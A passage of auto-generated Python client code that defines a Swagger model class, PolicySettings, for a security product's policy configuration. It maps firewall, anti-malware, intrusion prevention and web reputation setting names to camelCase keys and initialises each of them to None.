'anti_malware_setting_scan_file_size_max_mbytes': 'antiMalwareSettingScanFileSizeMaxMbytes',
'firewall_setting_engine_option_generate_connection_events_tcp_enabled': 'firewallSettingEngineOptionGenerateConnectionEventsTcpEnabled',
'anti_malware_setting_file_hash_size_max_mbytes': 'antiMalwareSettingFileHashSizeMaxMbytes',
'firewall_setting_event_log_file_cached_entries_life_time': 'firewallSettingEventLogFileCachedEntriesLifeTime',
'platform_setting_smart_protection_global_server_proxy_id': 'platformSettingSmartProtectionGlobalServerProxyId',
'log_inspection_setting_auto_apply_recommendations_enabled': 'logInspectionSettingAutoApplyRecommendationsEnabled',
'anti_malware_setting_connected_threat_defense_suspicious_file_ddan_submission_enabled': 'antiMalwareSettingConnectedThreatDefenseSuspiciousFileDdanSubmissionEnabled',
'web_reputation_setting_blocking_page_link': 'webReputationSettingBlockingPageLink',
'firewall_setting_syslog_config_id': 'firewallSettingSyslogConfigId',
'platform_setting_agent_communications_direction': 'platformSettingAgentCommunicationsDirection',
'integrity_monitoring_setting_scan_cache_config_id': 'integrityMonitoringSettingScanCacheConfigId',
'anti_malware_setting_document_exploit_protection_rule_exceptions': 'antiMalwareSettingDocumentExploitProtectionRuleExceptions',
'firewall_setting_anti_evasion_check_tcp_syn_with_data': 'firewallSettingAntiEvasionCheckTcpSynWithData',
'anti_malware_setting_file_hash_enabled': 'antiMalwareSettingFileHashEnabled',
'firewall_setting_reconnaissance_block_fingerprint_probe_duration': 'firewallSettingReconnaissanceBlockFingerprintProbeDuration',
'firewall_setting_engine_option_drop_ipv6_bogons_addresses_enabled': 'firewallSettingEngineOptionDropIpv6BogonsAddressesEnabled',
'firewall_setting_engine_option_boot_start_timeout': 'firewallSettingEngineOptionBootStartTimeout',
'firewall_setting_engine_option_connections_num_tcp_max': 'firewallSettingEngineOptionConnectionsNumTcpMax',
'firewall_setting_anti_evasion_security_posture': 'firewallSettingAntiEvasionSecurityPosture',
'firewall_setting_interface_patterns': 'firewallSettingInterfacePatterns',
'firewall_setting_interface_isolation_enabled': 'firewallSettingInterfaceIsolationEnabled',
'anti_malware_setting_virtual_appliance_real_time_scan_cache_entries_max': 'antiMalwareSettingVirtualApplianceRealTimeScanCacheEntriesMax',
'firewall_setting_events_out_of_allowed_policy_enabled': 'firewallSettingEventsOutOfAllowedPolicyEnabled',
'firewall_setting_anti_evasion_check_evasive_retransmit': 'firewallSettingAntiEvasionCheckEvasiveRetransmit',
'firewall_setting_engine_option_icmp_timeout': 'firewallSettingEngineOptionIcmpTimeout',
'integrity_monitoring_setting_syslog_config_id': 'integrityMonitoringSettingSyslogConfigId',
'firewall_setting_engine_option_connection_cleanup_timeout': 'firewallSettingEngineOptionConnectionCleanupTimeout',
'anti_malware_setting_smart_protection_local_server_allow_off_domain_global': 'antiMalwareSettingSmartProtectionLocalServerAllowOffDomainGlobal',
'firewall_setting_reconnaissance_notify_tcp_syn_fin_scan_enabled': 'firewallSettingReconnaissanceNotifyTcpSynFinScanEnabled',
'firewall_setting_engine_option_error_timeout': 'firewallSettingEngineOptionErrorTimeout',
'web_reputation_setting_allowed_urls': 'webReputationSettingAllowedUrls',
'firewall_setting_reconnaissance_notify_network_or_port_scan_enabled': 'firewallSettingReconnaissanceNotifyNetworkOrPortScanEnabled',
'firewall_setting_engine_option_fin_wait1_timeout': 'firewallSettingEngineOptionFinWait1Timeout',
'firewall_setting_engine_option_generate_connection_events_udp_enabled': 'firewallSettingEngineOptionGenerateConnectionEventsUdpEnabled',
'activity_monitoring_setting_syslog_config_id': 'activityMonitoringSettingSyslogConfigId',
'firewall_setting_anti_evasion_check_tcp_syn_rst_flags': 'firewallSettingAntiEvasionCheckTcpSynRstFlags',
'anti_malware_setting_spyware_approved_list': 'antiMalwareSettingSpywareApprovedList',
'firewall_setting_anti_evasion_check_tcp_urgent_flags': 'firewallSettingAntiEvasionCheckTcpUrgentFlags',
'intrusion_prevention_setting_nsx_security_tagging_detect_mode_level': 'intrusionPreventionSettingNsxSecurityTaggingDetectModeLevel',
'intrusion_prevention_setting_engine_option_fragmented_ip_unconcerned_mac_address_bypass_enabled': 'intrusionPreventionSettingEngineOptionFragmentedIpUnconcernedMacAddressBypassEnabled',
'firewall_setting_engine_option_log_all_packet_data_enabled': 'firewallSettingEngineOptionLogAllPacketDataEnabled',
'firewall_setting_anti_evasion_check_tcp_syn_fin_flags': 'firewallSettingAntiEvasionCheckTcpSynFinFlags',
'platform_setting_heartbeat_interval': 'platformSettingHeartbeatInterval',
'firewall_setting_engine_option_fragment_size_min': 'firewallSettingEngineOptionFragmentSizeMin',
'anti_malware_setting_smart_protection_server_connection_lost_warning_enabled': 'antiMalwareSettingSmartProtectionServerConnectionLostWarningEnabled',
'firewall_setting_reconnaissance_block_network_or_port_scan_duration': 'firewallSettingReconnaissanceBlockNetworkOrPortScanDuration',
'integrity_monitoring_setting_content_hash_algorithm': 'integrityMonitoringSettingContentHashAlgorithm',
'anti_malware_setting_smart_scan_state': 'antiMalwareSettingSmartScanState',
'firewall_setting_config_package_exceeds_alert_max_enabled': 'firewallSettingConfigPackageExceedsAlertMaxEnabled',
'platform_setting_environment_variable_overrides': 'platformSettingEnvironmentVariableOverrides',
'firewall_setting_engine_option_fragment_offset_min': 'firewallSettingEngineOptionFragmentOffsetMin',
'anti_malware_setting_smart_protection_local_server_urls': 'antiMalwareSettingSmartProtectionLocalServerUrls',
'firewall_setting_engine_option_syn_rcvd_timeout': 'firewallSettingEngineOptionSynRcvdTimeout',
'firewall_setting_event_log_file_cached_entries_num': 'firewallSettingEventLogFileCachedEntriesNum',
'firewall_setting_engine_option_force_allow_icmp_type3_code4': 'firewallSettingEngineOptionForceAllowIcmpType3Code4',
'firewall_setting_reconnaissance_block_tcp_null_scan_duration': 'firewallSettingReconnaissanceBlockTcpNullScanDuration',
'platform_setting_smart_protection_global_server_enabled': 'platformSettingSmartProtectionGlobalServerEnabled',
'integrity_monitoring_setting_realtime_enabled': 'integrityMonitoringSettingRealtimeEnabled',
'firewall_setting_engine_option_last_ack_timeout': 'firewallSettingEngineOptionLastAckTimeout',
'firewall_setting_reconnaissance_exclude_ip_list_id': 'firewallSettingReconnaissanceExcludeIpListId',
'platform_setting_agent_self_protection_enabled': 'platformSettingAgentSelfProtectionEnabled',
'firewall_setting_engine_option_drop_ipv6_reserved_addresses_enabled': 'firewallSettingEngineOptionDropIpv6ReservedAddressesEnabled',
'firewall_setting_anti_evasion_check_fin_no_connection': 'firewallSettingAntiEvasionCheckFinNoConnection',
'firewall_setting_engine_option_debug_packet_num_max': 'firewallSettingEngineOptionDebugPacketNumMax',
'firewall_setting_engine_option_bypass_cisco_waas_connections_enabled': 'firewallSettingEngineOptionBypassCiscoWaasConnectionsEnabled',
'firewall_setting_reconnaissance_enabled': 'firewallSettingReconnaissanceEnabled',
'platform_setting_heartbeat_local_time_shift_alert_threshold': 'platformSettingHeartbeatLocalTimeShiftAlertThreshold',
'anti_malware_setting_file_hash_md5_enabled': 'antiMalwareSettingFileHashMd5Enabled',
'firewall_setting_reconnaissance_detect_network_or_port_scan_enabled': 'firewallSettingReconnaissanceDetectNetworkOrPortScanEnabled',
'firewall_setting_engine_option_silent_tcp_connection_drop_enabled': 'firewallSettingEngineOptionSilentTcpConnectionDropEnabled',
'firewall_setting_engine_option_block_same_src_dst_ip_enabled': 'firewallSettingEngineOptionBlockSameSrcDstIpEnabled',
'firewall_setting_engine_option_force_allow_dhcp_dns': 'firewallSettingEngineOptionForceAllowDhcpDns',
'firewall_setting_reconnaissance_include_ip_list_id': 'firewallSettingReconnaissanceIncludeIpListId',
'firewall_setting_engine_options_enabled': 'firewallSettingEngineOptionsEnabled',
'firewall_setting_reconnaissance_block_tcp_syn_fin_scan_duration': 'firewallSettingReconnaissanceBlockTcpSynFinScanDuration',
'web_reputation_setting_security_block_untested_pages_enabled': 'webReputationSettingSecurityBlockUntestedPagesEnabled',
'web_reputation_setting_allowed_url_domains': 'webReputationSettingAllowedUrlDomains',
'firewall_setting_event_log_file_ignore_source_ip_list_id': 'firewallSettingEventLogFileIgnoreSourceIpListId',
'firewall_setting_engine_option_drop_ipv6_fragments_lower_than_min_mtu_enabled': 'firewallSettingEngineOptionDropIpv6FragmentsLowerThanMinMtuEnabled',
'platform_setting_auto_assign_new_intrusion_prevention_rules_enabled': 'platformSettingAutoAssignNewIntrusionPreventionRulesEnabled',
'firewall_setting_anti_evasion_check_rst_no_connection': 'firewallSettingAntiEvasionCheckRstNoConnection',
'web_reputation_setting_blocked_urls': 'webReputationSettingBlockedUrls',
'platform_setting_combined_mode_network_group_protection_source': 'platformSettingCombinedModeNetworkGroupProtectionSource',
'web_reputation_setting_alerting_enabled': 'webReputationSettingAlertingEnabled',
'anti_malware_setting_nsx_security_tagging_on_remediation_failure_enabled': 'antiMalwareSettingNsxSecurityTaggingOnRemediationFailureEnabled',
'integrity_monitoring_setting_cpu_usage_level': 'integrityMonitoringSettingCpuUsageLevel',
'platform_setting_auto_update_anti_malware_engine_enabled': 'platformSettingAutoUpdateAntiMalwareEngineEnabled',
'intrusion_prevention_setting_combined_mode_protection_source': 'intrusionPreventionSettingCombinedModeProtectionSource'
}
def __init__(self, log_inspection_setting_severity_clipping_agent_event_send_syslog_level_min=None, firewall_setting_engine_option_connections_cleanup_max=None, firewall_setting_engine_option_verify_tcp_checksum_enabled=None, anti_malware_setting_scan_cache_on_demand_config_id=None, application_control_setting_shared_ruleset_id=None, web_reputation_setting_smart_protection_server_connection_lost_warning_enabled=None, application_control_setting_execution_enforcement_level=None, web_reputation_setting_blocked_url_domains=None, firewall_setting_engine_option_syn_sent_timeout=None, platform_setting_agent_self_protection_password=None, firewall_setting_reconnaissance_block_tcp_xmas_attack_duration=None, intrusion_prevention_setting_virtual_and_container_network_scan_enabled=None, log_inspection_setting_syslog_config_id=None, firewall_setting_engine_option_debug_mode_enabled=None, firewall_setting_virtual_and_container_network_scan_enabled=None, anti_malware_setting_file_hash_sha256_enabled=None, firewall_setting_reconnaissance_notify_fingerprint_probe_enabled=None, firewall_setting_event_log_file_retain_num=None, firewall_setting_anti_evasion_check_tcp_paws_zero=None, anti_malware_setting_connected_threat_defense_use_control_manager_suspicious_object_list_enabled=None, intrusion_prevention_setting_engine_option_fragmented_ip_keep_max=None, firewall_setting_engine_option_drop6_to4_bogons_addresses_enabled=None, log_inspection_setting_severity_clipping_agent_event_store_level_min=None, platform_setting_scan_cache_concurrency_max=None, anti_malware_setting_syslog_config_id=None, firewall_setting_anti_evasion_tcp_paws_window_policy=None, firewall_setting_reconnaissance_detect_tcp_xmas_attack_enabled=None, application_control_setting_ruleset_mode=None, anti_malware_setting_smart_protection_global_server_use_proxy_enabled=None, web_reputation_setting_smart_protection_local_server_allow_off_domain_global=None, integrity_monitoring_setting_combined_mode_protection_source=None, firewall_setting_engine_option_close_wait_timeout=None, platform_setting_scan_open_port_list_id=None, platform_setting_agent_self_protection_password_enabled=None, firewall_setting_engine_option_ack_timeout=None, firewall_setting_event_log_file_cached_entries_stale_time=None, firewall_setting_combined_mode_protection_source=None, platform_setting_agent_events_send_interval=None, platform_setting_inactive_agent_cleanup_override_enabled=None, firewall_setting_failure_response_engine_system=None, platform_setting_relay_state=None, firewall_setting_engine_option_drop_evasive_retransmit_enabled=None, activity_monitoring_setting_indicator_enabled=None, intrusion_prevention_setting_engine_option_fragmented_ip_timeout=None, firewall_setting_anti_evasion_check_tcp_zero_flags=None, web_reputation_setting_smart_protection_global_server_use_proxy_enabled=None, intrusion_prevention_setting_nsx_security_tagging_prevent_mode_level=None, firewall_setting_reconnaissance_notify_tcp_xmas_attack_enabled=None, firewall_setting_engine_option_udp_timeout=None, web_reputation_setting_smart_protection_local_server_enabled=None, firewall_setting_engine_option_tcp_mss_limit=None, firewall_setting_engine_option_cold_start_timeout=None, firewall_setting_engine_option_established_timeout=None, anti_malware_setting_identified_files_space_max_mbytes=None, firewall_setting_engine_option_allow_null_ip_enabled=None, platform_setting_notifications_suppress_popups_enabled=None, firewall_setting_anti_evasion_check_tcp_rst_fin_flags=None, firewall_setting_engine_option_disconnect_timeout=None, firewall_setting_engine_option_close_timeout=None, firewall_setting_engine_option_tunnel_depth_max_exceeded_action=None, firewall_setting_reconnaissance_detect_tcp_null_scan_enabled=None, platform_setting_smart_protection_anti_malware_global_server_proxy_id=None, firewall_setting_engine_option_filter_ipv4_tunnels=None, web_reputation_setting_smart_protection_local_server_urls=None, firewall_setting_engine_option_log_one_packet_period=None, firewall_setting_engine_option_filter_ipv6_tunnels=None, firewall_setting_anti_evasion_check_tcp_congestion_flags=None, platform_setting_heartbeat_missed_alert_threshold=None, intrusion_prevention_setting_engine_options_enabled=None, firewall_setting_engine_option_connections_num_udp_max=None, integrity_monitoring_setting_auto_apply_recommendations_enabled=None, firewall_setting_engine_option_tunnel_depth_max=None, firewall_setting_engine_option_drop_unknown_ssl_protocol_enabled=None, anti_malware_setting_nsx_security_tagging_value=None, intrusion_prevention_setting_log_data_rule_first_match_enabled=None, firewall_setting_engine_option_logging_policy=None, platform_setting_troubleshooting_logging_level=None, anti_malware_setting_virtual_appliance_on_demand_scan_cache_entries_max=None, web_reputation_setting_combined_mode_protection_source=None, firewall_setting_engine_option_closing_timeout=None, firewall_setting_anti_evasion_check_paws=None, intrusion_prevention_setting_auto_apply_recommendations_enabled=None, firewall_setting_reconnaissance_detect_fingerprint_probe_enabled=None, anti_malware_setting_nsx_security_tagging_remove_on_clean_scan_enabled=None, firewall_setting_engine_option_log_packet_length_max=None, firewall_setting_engine_option_drop_teredo_anomalies_enabled=None, web_reputation_setting_security_level=None, firewall_setting_engine_option_drop_ipv6_site_local_addresses_enabled=None, activity_monitoring_setting_activity_enabled=None, firewall_setting_engine_option_strict_terodo_port_check_enabled=None, web_reputation_setting_blocked_url_keywords=None, web_reputation_setting_syslog_config_id=None, firewall_setting_failure_response_packet_sanity_check=None, firewall_setting_network_engine_mode=None, firewall_setting_event_log_file_size_max=None, anti_malware_setting_malware_scan_multithreaded_processing_enabled=None, firewall_setting_reconnaissance_detect_tcp_syn_fin_scan_enabled=None, firewall_setting_engine_option_drop_ip_zero_payload_enabled=None, firewall_setting_engine_option_block_ipv6_agent8_and_earlier_enabled=None, intrusion_prevention_setting_engine_option_fragmented_ip_packet_send_icmp_enabled=None, anti_malware_setting_predictive_machine_learning_exceptions=None, firewall_setting_engine_option_log_events_per_second_max=None, firewall_setting_engine_option_ssl_session_time=None, anti_malware_setting_behavior_monitoring_scan_exclusion_list=None, anti_malware_setting_smart_protection_global_server_enabled=None, firewall_setting_engine_option_log_one_packet_within_period_enabled=None, firewall_setting_engine_option_generate_connection_events_icmp_enabled=None, platform_setting_heartbeat_inactive_vm_offline_alert_enabled=None, web_reputation_setting_smart_protection_web_reputation_global_server_proxy_id=None, anti_malware_setting_nsx_security_tagging_enabled=None, firewall_setting_anti_evasion_check_fragmented_packets=None, firewall_setting_engine_option_connections_num_icmp_max=None, firewall_setting_anti_evasion_check_tcp_split_handshake=None, anti_malware_setting_combined_mode_protection_source=None, firewall_setting_engine_option_event_nodes_max=None, web_reputation_setting_monitor_port_list_id=None, application_control_setting_syslog_config_id=None, firewall_setting_anti_evasion_check_out_no_connection=None, firewall_setting_engine_option_block_ipv6_agent9_and_later_enabled=None, integrity_monitoring_setting_virtual_appliance_optimization_scan_cache_entries_max=None, firewall_setting_reconnaissance_notify_tcp_null_scan_enabled=None, firewall_setting_engine_option_ignore_status_code1=None, firewall_setting_engine_option_ignore_status_code0=None, firewall_setting_engine_option_ignore_status_code2=None, firewall_setting_engine_option_ssl_session_size=None, anti_malware_setting_scan_cache_real_time_config_id=None, platform_setting_recommendation_ongoing_scans_interval=None, platform_setting_smart_protection_global_server_use_proxy_enabled=None, firewall_setting_interface_limit_one_active_enabled=None, firewall_setting_anti_evasion_check_tcp_checksum=None, firewall_setting_engine_option_drop_ipv6_ext_type0_enabled=None, anti_malware_setting_scan_file_size_max_mbytes=None, firewall_setting_engine_option_generate_connection_events_tcp_enabled=None, anti_malware_setting_file_hash_size_max_mbytes=None, firewall_setting_event_log_file_cached_entries_life_time=None, platform_setting_smart_protection_global_server_proxy_id=None, log_inspection_setting_auto_apply_recommendations_enabled=None, anti_malware_setting_connected_threat_defense_suspicious_file_ddan_submission_enabled=None, web_reputation_setting_blocking_page_link=None, firewall_setting_syslog_config_id=None, platform_setting_agent_communications_direction=None, integrity_monitoring_setting_scan_cache_config_id=None, anti_malware_setting_document_exploit_protection_rule_exceptions=None, firewall_setting_anti_evasion_check_tcp_syn_with_data=None, anti_malware_setting_file_hash_enabled=None, firewall_setting_reconnaissance_block_fingerprint_probe_duration=None, firewall_setting_engine_option_drop_ipv6_bogons_addresses_enabled=None, firewall_setting_engine_option_boot_start_timeout=None, firewall_setting_engine_option_connections_num_tcp_max=None, firewall_setting_anti_evasion_security_posture=None, firewall_setting_interface_patterns=None, firewall_setting_interface_isolation_enabled=None, anti_malware_setting_virtual_appliance_real_time_scan_cache_entries_max=None, firewall_setting_events_out_of_allowed_policy_enabled=None, firewall_setting_anti_evasion_check_evasive_retransmit=None, firewall_setting_engine_option_icmp_timeout=None, integrity_monitoring_setting_syslog_config_id=None, firewall_setting_engine_option_connection_cleanup_timeout=None, anti_malware_setting_smart_protection_local_server_allow_off_domain_global=None, firewall_setting_reconnaissance_notify_tcp_syn_fin_scan_enabled=None, firewall_setting_engine_option_error_timeout=None, web_reputation_setting_allowed_urls=None, firewall_setting_reconnaissance_notify_network_or_port_scan_enabled=None, firewall_setting_engine_option_fin_wait1_timeout=None, firewall_setting_engine_option_generate_connection_events_udp_enabled=None, activity_monitoring_setting_syslog_config_id=None, firewall_setting_anti_evasion_check_tcp_syn_rst_flags=None, anti_malware_setting_spyware_approved_list=None, firewall_setting_anti_evasion_check_tcp_urgent_flags=None, intrusion_prevention_setting_nsx_security_tagging_detect_mode_level=None, intrusion_prevention_setting_engine_option_fragmented_ip_unconcerned_mac_address_bypass_enabled=None, firewall_setting_engine_option_log_all_packet_data_enabled=None, firewall_setting_anti_evasion_check_tcp_syn_fin_flags=None, platform_setting_heartbeat_interval=None, firewall_setting_engine_option_fragment_size_min=None, anti_malware_setting_smart_protection_server_connection_lost_warning_enabled=None, firewall_setting_reconnaissance_block_network_or_port_scan_duration=None, integrity_monitoring_setting_content_hash_algorithm=None, anti_malware_setting_smart_scan_state=None, firewall_setting_config_package_exceeds_alert_max_enabled=None, platform_setting_environment_variable_overrides=None, firewall_setting_engine_option_fragment_offset_min=None, anti_malware_setting_smart_protection_local_server_urls=None, firewall_setting_engine_option_syn_rcvd_timeout=None, firewall_setting_event_log_file_cached_entries_num=None, firewall_setting_engine_option_force_allow_icmp_type3_code4=None, firewall_setting_reconnaissance_block_tcp_null_scan_duration=None, platform_setting_smart_protection_global_server_enabled=None, integrity_monitoring_setting_realtime_enabled=None, firewall_setting_engine_option_last_ack_timeout=None, firewall_setting_reconnaissance_exclude_ip_list_id=None, platform_setting_agent_self_protection_enabled=None, firewall_setting_engine_option_drop_ipv6_reserved_addresses_enabled=None, firewall_setting_anti_evasion_check_fin_no_connection=None, firewall_setting_engine_option_debug_packet_num_max=None, firewall_setting_engine_option_bypass_cisco_waas_connections_enabled=None, firewall_setting_reconnaissance_enabled=None, platform_setting_heartbeat_local_time_shift_alert_threshold=None, anti_malware_setting_file_hash_md5_enabled=None, firewall_setting_reconnaissance_detect_network_or_port_scan_enabled=None, firewall_setting_engine_option_silent_tcp_connection_drop_enabled=None, firewall_setting_engine_option_block_same_src_dst_ip_enabled=None, firewall_setting_engine_option_force_allow_dhcp_dns=None, firewall_setting_reconnaissance_include_ip_list_id=None, firewall_setting_engine_options_enabled=None, firewall_setting_reconnaissance_block_tcp_syn_fin_scan_duration=None, web_reputation_setting_security_block_untested_pages_enabled=None, web_reputation_setting_allowed_url_domains=None, firewall_setting_event_log_file_ignore_source_ip_list_id=None, firewall_setting_engine_option_drop_ipv6_fragments_lower_than_min_mtu_enabled=None, platform_setting_auto_assign_new_intrusion_prevention_rules_enabled=None, firewall_setting_anti_evasion_check_rst_no_connection=None, web_reputation_setting_blocked_urls=None, platform_setting_combined_mode_network_group_protection_source=None, web_reputation_setting_alerting_enabled=None, anti_malware_setting_nsx_security_tagging_on_remediation_failure_enabled=None, integrity_monitoring_setting_cpu_usage_level=None, platform_setting_auto_update_anti_malware_engine_enabled=None, intrusion_prevention_setting_combined_mode_protection_source=None): # noqa: E501
"""PolicySettings - a model defined in Swagger""" # noqa: E501
self._log_inspection_setting_severity_clipping_agent_event_send_syslog_level_min = None
self._firewall_setting_engine_option_connections_cleanup_max = None
self._firewall_setting_engine_option_verify_tcp_checksum_enabled = None
self._anti_malware_setting_scan_cache_on_demand_config_id = None
self._application_control_setting_shared_ruleset_id = None
self._web_reputation_setting_smart_protection_server_connection_lost_warning_enabled = None
self._application_control_setting_execution_enforcement_level = None
self._web_reputation_setting_blocked_url_domains = None
self._firewall_setting_engine_option_syn_sent_timeout = None
self._platform_setting_agent_self_protection_password = None
self._firewall_setting_reconnaissance_block_tcp_xmas_attack_duration = None
self._intrusion_prevention_setting_virtual_and_container_network_scan_enabled = None
self._log_inspection_setting_syslog_config_id = None
self._firewall_setting_engine_option_debug_mode_enabled = None
self._firewall_setting_virtual_and_container_network_scan_enabled = None
self._anti_malware_setting_file_hash_sha256_enabled = None
self._firewall_setting_reconnaissance_notify_fingerprint_probe_enabled = None
self._firewall_setting_event_log_file_retain_num = None
self._firewall_setting_anti_evasion_check_tcp_paws_zero = None
self._anti_malware_setting_connected_threat_defense_use_control_manager_suspicious_object_list_enabled = None
self._intrusion_prevention_setting_engine_option_fragmented_ip_keep_max = None
self._firewall_setting_engine_option_drop6_to4_bogons_addresses_enabled = None
self._log_inspection_setting_severity_clipping_agent_event_store_level_min = None
self._platform_setting_scan_cache_concurrency_max = None
self._anti_malware_setting_syslog_config_id = None
self._firewall_setting_anti_evasion_tcp_paws_window_policy = None
self._firewall_setting_reconnaissance_detect_tcp_xmas_attack_enabled = None
self._application_control_setting_ruleset_mode = None
self._anti_malware_setting_smart_protection_global_server_use_proxy_enabled = None
self._web_reputation_setting_smart_protection_local_server_allow_off_domain_global = None
self._integrity_monitoring_setting_combined_mode_protection_source = None
self._firewall_setting_engine_option_close_wait_timeout = None
self._platform_setting_scan_open_port_list_id = None
self._platform_setting_agent_self_protection_password_enabled = None
self._firewall_setting_engine_option_ack_timeout = None
self._firewall_setting_event_log_file_cached_entries_stale_time = None
self._firewall_setting_combined_mode_protection_source = None
self._platform_setting_agent_events_send_interval = None
self._platform_setting_inactive_agent_cleanup_override_enabled = None
self._firewall_setting_failure_response_engine_system = None
self._platform_setting_relay_state = None
self._firewall_setting_engine_option_drop_evasive_retransmit_enabled = None
self._activity_monitoring_setting_indicator_enabled = None
self._intrusion_prevention_setting_engine_option_fragmented_ip_timeout = None
self._firewall_setting_anti_evasion_check_tcp_zero_flags = None
self._web_reputation_setting_smart_protection_global_server_use_proxy_enabled = None
self._intrusion_prevention_setting_nsx_security_tagging_prevent_mode_level = None
self._firewall_setting_reconnaissance_notify_tcp_xmas_attack_enabled = None
self._firewall_setting_engine_option_udp_timeout = None
self._web_reputation_setting_smart_protection_local_server_enabled = None
self._firewall_setting_engine_option_tcp_mss_limit = None
self._firewall_setting_engine_option_cold_start_timeout = None
self._firewall_setting_engine_option_established_timeout = None
self._anti_malware_setting_identified_files_space_max_mbytes = None
self._firewall_setting_engine_option_allow_null_ip_enabled = None
self._platform_setting_notifications_suppress_popups_enabled = None
self._firewall_setting_anti_evasion_check_tcp_rst_fin_flags = None
self._firewall_setting_engine_option_disconnect_timeout = None
self._firewall_setting_engine_option_close_timeout = None
self._firewall_setting_engine_option_tunnel_depth_max_exceeded_action = None
self._firewall_setting_reconnaissance_detect_tcp_null_scan_enabled = None
self._platform_setting_smart_protection_anti_malware_global_server_proxy_id = None
self._firewall_setting_engine_option_filter_ipv4_tunnels = None
self._web_reputation_setting_smart_protection_local_server_urls = None
self._firewall_setting_engine_option_log_one_packet_period = None
self._firewall_setting_engine_option_filter_ipv6_tunnels = None
self._firewall_setting_anti_evasion_check_tcp_congestion_flags = None
self._platform_setting_heartbeat_missed_alert_threshold = None
self._intrusion_prevention_setting_engine_options_enabled = None
self._firewall_setting_engine_option_connections_num_udp_max = None
self._integrity_monitoring_setting_auto_apply_recommendations_enabled = None
self._firewall_setting_engine_option_tunnel_depth_max = None
self._firewall_setting_engine_option_drop_unknown_ssl_protocol_enabled = None
self._anti_malware_setting_nsx_security_tagging_value = None
self._intrusion_prevention_setting_log_data_rule_first_match_enabled = None
self._firewall_setting_engine_option_logging_policy = None
self._platform_setting_troubleshooting_logging_level = None
self._anti_malware_setting_virtual_appliance_on_demand_scan_cache_entries_max = None
self._web_reputation_setting_combined_mode_protection_source = None
self._firewall_setting_engine_option_closing_timeout = None
self._firewall_setting_anti_evasion_check_paws = None
self._intrusion_prevention_setting_auto_apply_recommendations_enabled = None
self._firewall_setting_reconnaissance_detect_fingerprint_probe_enabled = None
self._anti_malware_setting_nsx_security_tagging_remove_on_clean_scan_enabled = None
self._firewall_setting_engine_option_log_packet_length_max = None
self._firewall_setting_engine_option_drop_teredo_anomalies_enabled = None
self._web_reputation_setting_security_level = None
self._firewall_setting_engine_option_drop_ipv6_site_local_addresses_enabled = None
self._activity_monitoring_setting_activity_enabled = None
self._firewall_setting_engine_option_strict_terodo_port_check_enabled = None
self._web_reputation_setting_blocked_url_keywords = None
self._web_reputation_setting_syslog_config_id = None
self._firewall_setting_failure_response_packet_sanity_check = None
self._firewall_setting_network_engine_mode = None
self._firewall_setting_event_log_file_size_max = None
self._anti_malware_setting_malware_scan_multithreaded_processing_enabled = None
self._firewall_setting_reconnaissance_detect_tcp_syn_fin_scan_enabled = None
self._firewall_setting_engine_option_drop_ip_zero_payload_enabled = None
self._firewall_setting_engine_option_block_ipv6_agent8_and_earlier_enabled = None
self._intrusion_prevention_setting_engine_option_fragmented_ip_packet_send_icmp_enabled = None
self._anti_malware_setting_predictive_machine_learning_exceptions = None
self._firewall_setting_engine_option_log_events_per_second_max = None
self._firewall_setting_engine_option_ssl_session_time = None
self._anti_malware_setting_behavior_monitoring_scan_exclusion_list = None
self._anti_malware_setting_smart_protection_global_server_enabled = None
self._firewall_setting_engine_option_log_one_packet_within_period_enabled = None
self._firewall_setting_engine_option_generate_connection_events_icmp_enabled = None
self._platform_setting_heartbeat_inactive_vm_offline_alert_enabled = None
self._web_reputation_setting_smart_protection_web_reputation_global_server_proxy_id = None
self._anti_malware_setting_nsx_security_tagging_enabled = None
self._firewall_setting_anti_evasion_check_fragmented_packets = None
self._firewall_setting_engine_option_connections_num_icmp_max = None
self._firewall_setting_anti_evasion_check_tcp_split_handshake = None
self._anti_malware_setting_combined_mode_protection_source = None
self._firewall_setting_engine_option_event_nodes_max = None
self._web_reputation_setting_monitor_port_list_id = None
self._application_control_setting_syslog_config_id = None
self._firewall_setting_anti_evasion_check_out_no_connection = None
self._firewall_setting_engine_option_block_ipv6_agent9_and_later_enabled = None
self._integrity_monitoring_setting_virtual_appliance_optimization_scan_cache_entries_max = None
self._firewall_setting_reconnaissance_notify_tcp_null_scan_enabled = None
self._firewall_setting_engine_option_ignore_status_code1 = None
self._firewall_setting_engine_option_ignore_status_code0 = None
self._firewall_setting_engine_option_ignore_status_code2 = None
self._firewall_setting_engine_option_ssl_session_size = None
self._anti_malware_setting_scan_cache_real_time_config_id = None
self._platform_setting_recommendation_ongoing_scans_interval = None
self._platform_setting_smart_protection_global_server_use_proxy_enabled = None
self._firewall_setting_interface_limit_one_active_enabled = None
self._firewall_setting_anti_evasion_check_tcp_checksum = None
self._firewall_setting_engine_option_drop_ipv6_ext_type0_enabled = None
self._anti_malware_setting_scan_file_size_max_mbytes = None
self._firewall_setting_engine_option_generate_connection_events_tcp_enabled = None
self._anti_malware_setting_file_hash_size_max_mbytes = None
self._firewall_setting_event_log_file_cached_entries_life_time = None
self._platform_setting_smart_protection_global_server_proxy_id = None
self._log_inspection_setting_auto_apply_recommendations_enabled = None
self._anti_malware_setting_connected_threat_defense_suspicious_file_ddan_submission_enabled = None
self._web_reputation_setting_blocking_page_link = None
self._firewall_setting_syslog_config_id = None
self._platform_setting_agent_communications_direction = None
self._integrity_monitoring_setting_scan_cache_config_id = None
self._anti_malware_setting_document_exploit_protection_rule_exceptions = None
self._firewall_setting_anti_evasion_check_tcp_syn_with_data = None
self._anti_malware_setting_file_hash_enabled = None
self._firewall_setting_reconnaissance_block_fingerprint_probe_duration = None
self._firewall_setting_engine_option_drop_ipv6_bogons_addresses_enabled = None
self._firewall_setting_engine_option_boot_start_timeout = None
self._firewall_setting_engine_option_connections_num_tcp_max = None
self._firewall_setting_anti_evasion_security_posture = None
self._firewall_setting_interface_patterns = None
self._firewall_setting_interface_isolation_enabled = None
self._anti_malware_setting_virtual_appliance_real_time_scan_cache_entries_max = None
self._firewall_setting_events_out_of_allowed_policy_enabled = None
self._firewall_setting_anti_evasion_check_evasive_retransmit = None
self._firewall_setting_engine_option_icmp_timeout = None
self._integrity_monitoring_setting_syslog_config_id = None
self._firewall_setting_engine_option_connection_cleanup_timeout = None
self._anti_malware_setting_smart_protection_local_server_allow_off_domain_global = None
self._firewall_setting_reconnaissance_notify_tcp_syn_fin_scan_enabled = None
self._firewall_setting_engine_option_error_timeout = None
self._web_reputation_setting_allowed_urls = None
self._firewall_setting_reconnaissance_notify_network_or_port_scan_enabled = None
self._firewall_setting_engine_option_fin_wait1_timeout = None
self._firewall_setting_engine_option_generate_connection_events_udp_enabled = None
self._activity_monitoring_setting_syslog_config_id = None
